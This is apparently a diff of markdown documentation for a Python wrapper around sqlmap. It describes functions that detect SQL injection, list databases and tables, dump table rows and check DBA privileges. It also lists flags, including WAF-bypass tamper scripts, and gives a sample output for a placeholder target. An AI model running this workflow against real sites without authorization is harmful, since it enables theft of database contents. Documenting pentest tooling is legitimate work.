## Functions
|
|
30
|
+
|
|
31
|
+
### `find_sqlmap() -> str`
|
|
32
|
+
Searches common paths for the sqlmap binary.
|
|
33
|
+
|
|
34
|
+
### `run_detection_scan(sqlmap_bin, url, param, request_file, cookie, tamper) -> dict`
|
|
35
|
+
Runs `sqlmap --batch --random-agent` and parses output for injectability, DB type, and techniques.
|
|
36
|
+
|
|
37
|
+
### `enumerate_databases(sqlmap_bin, url, param, cookie) -> list`
|
|
38
|
+
Runs `sqlmap --dbs` and extracts database names from output.
|
|
39
|
+
|
|
40
|
+
### `enumerate_tables(sqlmap_bin, url, database, param, cookie) -> list`
|
|
41
|
+
Runs `sqlmap -D db --tables` and parses table names.
|
|
42
|
+
|
|
43
|
+
### `dump_table(sqlmap_bin, url, database, table, columns, limit, param, cookie) -> dict`
|
|
44
|
+
Runs `sqlmap -D db -T tbl --dump --start=1 --stop=N`.
|
|
45
|
+
|
|
46
|
+
### `check_privileges(sqlmap_bin, url, param, cookie) -> dict`
|
|
47
|
+
Runs `--current-user --current-db --is-dba` to assess DB privileges.
|
|
48
|
+
|
|
49
|
+
## sqlmap Flags Used
|
|
50
|
+
|
|
51
|
+
| Flag | Purpose |
|
|
52
|
+
|------|---------|
|
|
53
|
+
| `--batch` | Non-interactive mode |
|
|
54
|
+
| `--random-agent` | Randomize User-Agent header |
|
|
55
|
+
| `-p` | Specify injectable parameter |
|
|
56
|
+
| `--tamper` | Apply WAF bypass tamper scripts |
|
|
57
|
+
| `--dbs` | Enumerate databases |
|
|
58
|
+
| `--tables` | Enumerate tables |
|
|
59
|
+
| `--dump` | Extract table data |
|
|
60
|
+
| `--is-dba` | Check DBA privileges |
|
|
61
|
+
|
|
62
|
+
## Output Schema
|
|
63
|
+
|
|
64
|
+
```json
|
|
65
|
+
{
|
|
66
|
+
"action": "detect",
|
|
67
|
+
"url": "https://target.com/page?id=1",
|
|
68
|
+
"result": {
|
|
69
|
+
"injectable": true,
|
|
70
|
+
"database": "MySQL",
|
|
71
|
+
"techniques": ["boolean-based", "UNION query"]
|
|
72
|
+
}
|
|
73
|
+
}
|
|
74
|
+
```
|